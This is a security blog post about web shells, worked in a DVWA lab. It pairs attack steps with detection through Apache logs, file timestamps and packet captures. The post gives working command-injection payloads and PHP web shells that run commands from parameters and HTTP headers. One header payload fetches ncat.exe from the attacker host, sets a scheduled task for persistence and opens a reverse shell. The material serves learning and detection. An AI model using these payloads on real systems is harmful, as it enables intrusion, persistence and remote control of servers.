Sunday, September 5, 2021

Beginning Web Shell - The basics and some detection - Hack and Detect

Recently, there has been lots of press on web shells, so I figure I should take some time to dig into it a bit more. Microsoft announced in February this year, that it had seen about 140,000 encounters of these threats on a monthly basis. This is just about double what was seen in 2020 at 77,000 encounters per month.

So what are web shells? Let's quote from the Microsoft article "A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. Web shells allow attackers to run commands on servers to steal data or use the server as launch pad for other activities like credential theft, lateral movement, deployment of additional payloads, or hands-on-keyboard activity, while allowing attackers to persist in an affected organization."

I always knew of it but never really took the time to go to any depth to really learn about it. This post is me digging a bit deeper from both the basics of it, as well as its detection. You might be wondering, why I am not writing about its prevention also. The links in the reference sections have good guidance on prevention.

Another reason for me doing this blog, is to show the importance of having full packet captures, to augment your logging capabilities. As you will see in this post, you will be able to see more via the packets, than you would be able to see from the events. Obviously in this case the packets are using clear text protocol, hence the ease of visibility.

Without further ado, let's get going.

First up, to take advantage of a web shell, we need to have a vulnerable web application. I'm using Dam Vulnerable Web App (DVWA). While DVWA allows us to take advantage of a file upload vulnerability. Instead I will use a "Command Injection" vulnerability. To get to the "Command Injection", I needed to login. As a result, I used Burp to intercept the request and steal the cookie to reuse with Curl.

Note, I choose to use Curl in these examples, as I've already done Command Injection in DVWA and its detection, as you would be able to see from two links in the reference section. Use those links as a starting point for this if you wish.

First up, craft a POST request with Curl. The request has two parameters "ip" and "submit". The IP parameter contains the vulnerability. Thus rather than just putting an IP address, I am able to put the IP address "&& dir". The "%26%26" represents "&&" and "%20" represents space.

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --data "ip=127.0.0.1+%20%26%26%20+dir&Submit=Submit" --request POST 'http://10.0.0.110/dvwa/vulnerabilities/exec/'

When the above is run, we see:

                <pre>
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
...
Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/01/2021  10:34 PM    <DIR>          .
09/01/2021  10:34 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
02/05/2018  02:52 AM    <DIR>          source
               1 File(s)          1,830 bytes
               4 Dir(s)  20,911,034,368 bytes free
</pre>

From above, it shows, not only was the "ping" successful but the "dir" command was also. 

Looking at the Apache access.log file, shows ...

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [01/Sep/2021:22:21:40 -0400] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5887 "-" "curl/7.74.0"

... nothing special about above. Unless you had concerns around "curl/7.74.0" being used to access your site.

Time to take advantage of the command injection vulnerability to upload a basic .php script.

<?php
	// Who is this web application running as
	system("whoami");
?>

Start up a webserver on my attacking machine.

┌──(rootđź’€securitynik)-[~]
└─# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...

Taking advantage of the vulnerability in the web application to download the file using the built in "Certutil" command in Windows. Living off the Land (LOL) to download the file and save it as "main.php". 

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --data "ip=127.0.0.1+%26%26+certutil+-URLcache+-f+http%3A%2F%2F10.0.0.101:443%2FbasicWebshell.php+main.php+%26%26+dir+main.php&Submit=Submit" --request POST 'http://10.0.0.110/dvwa/vulnerabilities/exec/' 

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
...
****  Online  ****
CertUtil: -URLCache command completed successfully.
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/01/2021  10:54 PM                74 main.php
               1 File(s)             74 bytes
               0 Dir(s)  20,909,109,248 bytes free
</pre>

Nice, the "main.php" file is on the system. What now shows up in the "access.log" file?

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [01/Sep/2021:23:01:43 -0400] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5737 "-" "curl/7.74.0"

Once again, nothing stands out.

We also see the Web Application making a request back to our Web Server on port 443:

┌──(rootđź’€securitynik)-[~]
└─# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...
10.0.0.110 - - [01/Sep/2021 22:54:56] "GET /basicWebshell.php HTTP/1.1" 200 -

Time to access the uploaded "main.php" file. Remember, I created it as "basicWebshell.php" but stored it as "main.php" on the server. Blending in, somewhat

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' securitynik-win\securitynik

Above shows the computername is "securitynik-win" and the logged in user is "securitynik". That is progress for the first script. What does the logs show?

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [01/Sep/2021:22:54:38 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 29 "-" "curl/7.74.0"

At this point in time, the question to be answered in this example, is whether or not "main.php" should be on this server. Looking at the timestamp for this file and comparing it to the other files should be helpful. Maybe looking for files which were created within a particular date and or time range might be helpful since most of the files on the web server may be static. Below I'm using the "forfiles" command, to find all files which are less than 0 days old. The results returned "main.php" as expected.

C:\xampp\apache\logs>forfiles /P c:\xampp\htdocs\DVWA\vulnerabilities /M * /S /C "cmd /c if @isdir==FALSE echo @path : @fsize : @fdate : @ftime" /D +0  | more

"c:\xampp\htdocs\DVWA\vulnerabilities\exec\main.php" : 74 : 9/1/2021 : 10:54:46 PM

Using a bit of Powershell to look for files written within the last day

PS C:\Users\SecurityNik> Get-ChildItem -Path C:\xampp\htdocs\DVWA\vulnerabilities\exec\*.* -Recurse  | Where-Object { $_.LastWriteTime -gt (get-date).AddDays(-1)}              

    Directory: C:\xampp\htdocs\DVWA\vulnerabilities\exec


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         9/1/2021  10:54 PM             74 main.php

Now that I have a basic idea of what is doable with the script, let's see which functions are available, that we may be able to take advantage of. The results returned from the next command represents potential vulnerable functions.

<?php
	// Who is this web application running as
	system("whoami");
	
	// Get all internal functions
	$arr = get_defined_functions(TRUE)["internal"];
	
	// Print a list of funtions matching the pattern below
	// There are more in the reference section from Acunetix
	print_r(preg_grep("/^(system|exec|shell_exec|passthru)/", $arr));
?>

Running the command and reviewing the results ...

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' 
securitynik-win\securitynik
Array
(
    [354] => exec
    [355] => system
    [358] => passthru
    [359] => shell_exec
)

Leveraging some of the above functions in the script for reconnaissance using the "net.exe" command 

<?php
        // Who is this web application running as
        system("whoami");

        // Get all internal functions
        $arr = get_defined_functions(TRUE)["internal"];

        // Print a list of funtions matching the pattern below
        // There are more in the reference section from Acunetix
        print_r(preg_grep("/^(system|exec|shell_exec|passthru)/", $arr));

        // performing reconnaissance using the net command
        echo shell_exec("net use && net share && net users && net localgroup administrators && net view && net sessions" );
?>


┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' 
securitynik-win\securitynik
Array
(
    [354] => exec
    [355] => system
    [358] => passthru
    [359] => shell_exec
)
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
             Y:        \\VBoxSvr\TOOLS           VirtualBox Shared Folders
             Z:        \\VBoxSvr\Downloads       VirtualBox Shared Folders
The command completed successfully.


Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share                     
IPC$                                         Remote IPC                        
ADMIN$       C:\WINDOWS                      Remote Admin                      
FILE-SERVER  C:\FILE-SERVER                  File Server Share with critical...
The command completed successfully.


User accounts for \\SECURITYNIK-WIN

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
SecurityNik              WDAGUtilityAccount       
The command completed successfully.

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
SecurityNik
The command completed successfully.

Server Name            Remark

-------------------------------------------------------------------------------
\\SECURITYNIK-WIN                                                              
The command completed successfully.

There are no entries in the list.

Good stuff! Next, leveraging the "passthru" function to learn about processes, services, etc.

<?php
        // performing reconnaissance using tasklist and sc
        passthru("tasklist && sc query && schtasks")
?>

We get ...

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php'

....
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        144 K
Registry                        88 Services                   0     78,012 K
smss.exe                       340 Services                   0      1,064 K
csrss.exe                      444 Services                   0      5,252 K
wininit.exe                    516 Services                   0      6,176 K

....

SERVICE_NAME: Appinfo
DISPLAY_NAME: Application Information
        TYPE               : 30  WIN32  
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

....

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
GoogleUpdateTaskMachineCore              N/A                    Disabled       
GoogleUpdateTaskMachineUA                N/A                    Disabled       
OneDrive Standalone Update Task v2       9/3/2021 6:07:58 PM    Ready        

.....

Looking at the access.log ...

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [02/Sep/2021:22:36:48 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 81732 "-" "curl/7.74.0" 

... nothing really suspicious above except probably the number of bytes transferred. In this case "81732" bytes were downloaded by "curl/7.74.0". The two together may prove suspicious, depending on your context.

Rather than specifying commands in the .php file, time to now leverage the "GET" request method to execute commands via a parameter. Modifying the code and removing the previous lines. 

<?php
	// Using the GET method to execute command
	passthru($_GET['cmd']);
?>

Time to run  "whoami /priv" command to get the logged in user as well as the user's privileges.

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php?cmd=whoami%20/priv'

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
...

The interesting thing with above and using the GET method, is this is viewable in the logs as seen below. 

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [02/Sep/2021:22:45:51 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=dir HTTP/1.1" 200 562 "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:45:58 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=whoami HTTP/1.1" 200 29 "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:46:07 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=whoami%20/priv HTTP/1.1" 200 3146 "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:46:15 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=whoami%20/priv HTTP/1.1" 200 3146 "-" "curl/7.74.0"

Modifying the script to use the POST method

<?php
	// Using the POST method to execute command
	passthru($_POST['cmd']);
?>

Executing curl to pull back information on the current shares.

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request POST --data 'cmd=net%20share' 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php'

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share                     
IPC$                                         Remote IPC                        
ADMIN$       C:\WINDOWS                      Remote Admin                      
FILE-SERVER  C:\FILE-SERVER                  File Server Share with critical...
The command completed successfully.

While we were able to see the results above, there would be nothing in the "access.log" file that would be helpful with this detection.

10.0.0.101 - - [02/Sep/2021:22:52:37 -0400] "POST /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 501 "-" "curl/7.74.0"

The reason nothing is shown above, is because the POST is done via the body rather than the URI.

Modifying the script to take advantage of the "User-Agent" HTTP header to run multiple commands on the compromised host.

<?php
	// Using the Http User-Agent Field
	passthru($_SERVER['HTTP_USER_AGENT']);
?>

Executing curl we get.

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' --header "User-Agent: dir && whoami"
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/02/2021  10:58 PM    <DIR>          .
09/02/2021  10:58 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
09/02/2021  10:58 PM                84 main.php
09/02/2021  10:42 PM               611 main.php.backup
02/05/2018  02:52 AM    <DIR>          source
               3 File(s)          2,525 bytes
               4 Dir(s)  20,840,591,360 bytes free
securitynik-win\securitynik

Looking at the logs, shows that the "User-agent" which was previously reported as "curl/7.74.0", now contains the various commands executed. Below is a dead giveaway and would be a good time to activate your incident response process. As shown below, "calc" was also executed.

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [02/Sep/2021:22:59:01 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 - "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:59:14 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 562 "-" "dir"
10.0.0.101 - - [02/Sep/2021:22:59:22 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 796 "-" "dir && net view"
10.0.0.101 - - [02/Sep/2021:22:59:54 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 1136 "-" "dir && net accounts"
10.0.0.101 - - [02/Sep/2021:23:00:30 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 591 "-" "dir && whoami"
10.0.0.101 - - [02/Sep/2021:23:00:54 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 562 "-" "dir && calc"

Using another header option, this time the "Accept" header, to force the web application to download "ncat.exe", create a scheduled tasks (securitynik_ncat) for persistence, query and then start the task and send a shell out (reverse shell) out to my attacking machine. This scheduled task will run every day at 01:00 and ends at 05:00.

Setup a "ncat.exe" listener on my attacking machine on port 443 since this is more likely opened (outgoing) on the firewall.

┌──(rootđź’€securitynik)-[~]
└─#ncat --verbose --listen 443 --keep-open -4 
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:443

Setup a web server on my attacking machine to host the "ncat.exe" file on port 80, as port 80 is more likely to be open (outgoing) on the firewall

┌──(rootđź’€securitynik)-[~]
└─# python -m SimpleHTTPServer 80                                                                                   1 ⨯
Serving HTTP on 0.0.0.0 port 80 ...


With the infrastructure inplace, leverage Curl.

┌──(rootđź’€securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' --header 'Accept: dir && certutil -URLcache -f http://10.0.0.101:80/ncat.exe ncat.exe && dir ncat.exe && schtasks /create /TN securitynik_ncat /TR "C:\xampp\htdocs\DVWA\vulnerabilities\exec\ncat.exe --exec cmd.exe 10.0.0.101 443 -4" /SC daily /ST 01:00 /ET 05:00 /F && schtasks /query /TN securitynik_ncat && schtasks /Run /TN securitynik_ncat /I'

Once the above is sent, first check to see if "ncat.exe" was requested 

┌──(rootđź’€securitynik)-[~]
└─# python -m SimpleHTTPServer 80                                                                                   1 ⨯
Serving HTTP on 0.0.0.0 port 80 ...
10.0.0.110 - - [03/Sep/2021 22:11:58] "GET /ncat.exe HTTP/1.1" 200 -
10.0.0.110 - - [03/Sep/2021 22:11:58] "GET /ncat.exe HTTP/1.1" 200 -

Looks good above. The file was requested.

Looking now at the output from curl and we see ...

Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:09 PM    <DIR>          .
09/03/2021  10:09 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
09/02/2021  11:12 PM                80 main.php
09/02/2021  10:42 PM               611 main.php.backup
02/05/2018  02:52 AM    <DIR>          source
               3 File(s)          2,521 bytes
               4 Dir(s)  20,809,838,592 bytes free
****  Online  ****
CertUtil: -URLCache command completed successfully.
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:10 PM         1,667,584 ncat.exe
               1 File(s)      1,667,584 bytes
               0 Dir(s)  20,808,167,424 bytes free
SUCCESS: The scheduled task "securitynik_ncat" has successfully been created.

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
securitynik_ncat                         N/A                    Ready          
SUCCESS: Attempted to run the scheduled task "securitynik_ncat".

Nice, looks like the task was created and the system reported it ran successfully. Time to confirm a shell was written and that I can now use that shell. 

┌──(rootđź’€securitynik)-[~]
└─# ncat --verbose --listen 443 --keep-open -4 
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.0.0.110.
Ncat: Connection from 10.0.0.110:2624.
Microsoft Windows [Version 10.0.18363.1198]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>netstat -anop tcp | findstr /i 443
netstat -anop tcp | findstr /i 443
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       7808
  TCP    10.0.0.110:2624        10.0.0.101:443         ESTABLISHED     6772

C:\WINDOWS\system32>

Nice, not only was a shell gotten but I was also able to execute the "netstat -anop tcp | findstr /i 443" command within the shell.

Looking at the access.log file, we see ...

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [03/Sep/2021:21:49:02 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 330 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:21:56:47 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 330 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:22:05:37 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 914 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:22:06:39 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 914 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:22:10:53 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 1315 "-" "curl/7.74.0"

Basically above there is nothing special occurring, unless the size 1315 stands out enough to you.

As you might have recognized by now, relying on logs alone will not allow you to tell the whole story. You may also have to perform host based forensics to be able to come to a good conclusion about what transpired. Since we know ... packets or it did not happen and packets don't like, then you are better off showing me the packets. lLooking at the packets we can learn a lot more. 

First up, TCP conversations ....

┌──(rootđź’€securitynik)-[~]
└─# tshark -n -r webshell.pcap -z conv,tcp -q
================================================================================                                                          
TCP Conversations                                                                                                                         
Filter:<No Filter>                                                                                                                        
                                                           |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |      
                                                           | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
10.0.0.110:2623            <-> 10.0.0.101:80                   64 1,671kB        79 5,328bytes     143 1,676kB       0.268393000         0.0461
10.0.0.110:2622            <-> 10.0.0.101:80                   57 1,671kB        57 3,924bytes     114 1,675kB       0.184055000         0.0306
10.0.0.110:2624            <-> 10.0.0.101:443                  11 712bytes       11 1,032bytes      22 1,744bytes     1.102963000       572.6485
10.0.0.101:59710           <-> 10.0.0.110:80                    5 1,844bytes       6 873bytes       11 2,717bytes     0.000000000         0.6238
================================================================================

From above, the 3rd record with the 572.6485 duration stands out. You can also see in both the first and second conversations, there are more bytes going out "->" than coming in "<-"

Let's peak into that to see what transpired in the third session.

┌──(rootđź’€securitynik)-[~]
└─# tshark -n -r webshell.pcap -q -z follow,tcp,ascii,10.0.0.110:2624,10.0.0.101:443                                                                  
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 10.0.0.110 and tcp.srcport eq 2624) and (ip.dst eq 10.0.0.101 and tcp.dstport eq 443)) or ((ip.src eq 10.0.0.101 and tcp.srcport eq 443) and (ip.dst eq 10.0.0.110 and tcp.dstport eq 2624))
Node 0: 10.0.0.110:2624
Node 1: 10.0.0.101:443
43
Microsoft Windows [Version 10.0.18363.1198]
78

(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>
        35
netstat -anop tcp | findstr /i 443

35
netstat -anop tcp | findstr /i 443

154
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       7808
  TCP    10.0.0.110:2624        10.0.0.101:443         ESTABLISHED     6772

2


20
C:\WINDOWS\system32>
        5
exit

5
exit

===================================================================

Looking at another stream of interest, we see ...

┌──(rootđź’€securitynik)-[~]
└─# tshark -n -r webshell.pcap -q -z follow,tcp,ascii,10.0.0.101:59710,10.0.0.110:80
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 10.0.0.101 and tcp.srcport eq 59710) and (ip.dst eq 10.0.0.110 and tcp.dstport eq 80)) or ((ip.src eq 10.0.0.110 and tcp.srcport eq 80) and (ip.dst eq 10.0.0.101 and tcp.dstport eq 59710))
Node 0: 10.0.0.101:59710
Node 1: 10.0.0.110:80
493
GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1
Host: 10.0.0.110
User-Agent: curl/7.74.0
Cookie: security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9
Accept: dir && certutil -URLcache -f http://10.0.0.101:80/ncat.exe ncat.exe && dir ncat.exe && schtasks /create /TN securitynik_ncat /TR "C:\xampp\htdocs\DVWA\vulnerabilities\exec\ncat.exe --exec cmd.exe 10.0.0.101 443 -4" /SC daily /ST 01:00 /ET 05:00 /F && schtasks /query /TN securitynik_ncat && schtasks /Run /TN securitynik_ncat /I


        1514
HTTP/1.1 200 OK
Date: Sat, 04 Sep 2021 02:10:53 GMT
Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
X-Powered-By: PHP/7.2.1
Content-Length: 1315
Content-Type: text/html; charset=UTF-8

 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:09 PM    <DIR>          .
09/03/2021  10:09 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
09/02/2021  11:12 PM                80 main.php
09/02/2021  10:42 PM               611 main.php.backup
02/05/2018  02:52 AM    <DIR>          source
               3 File(s)          2,521 bytes
               4 Dir(s)  20,809,838,592 bytes free
****  Online  ****
CertUtil: -URLCache command completed successfully.
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:10 PM         1,667,584 ncat.exe
               1 File(s)      1,667,584 bytes
               0 Dir(s)  20,808,167,424 bytes free
SUCCESS: The scheduled task "securitynik_ncat" has successfully been created.

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
securitynik_ncat                         N/A                    Ready          
SUCCESS: Attempted to run the scheduled task "securitynik_ncat".

===================================================================

Once again, everything is in the packet. If we look closely above in the HTTP header from the client, we see that the "Accept" header is where the nefarious activity originated. Do note, other header options could also be used.

If you are monitoring your logs, looking at the IP addresses from which traffic is coming, the frequency as well as the time of the occurrences, may provide insights also into a potential issue. Look also for large number of entries within a particular period of time.

Ok that's it for this post. I've solidify my understanding of web shells. Time to look at Weevely in the next post.


References:


No comments:

Post a Comment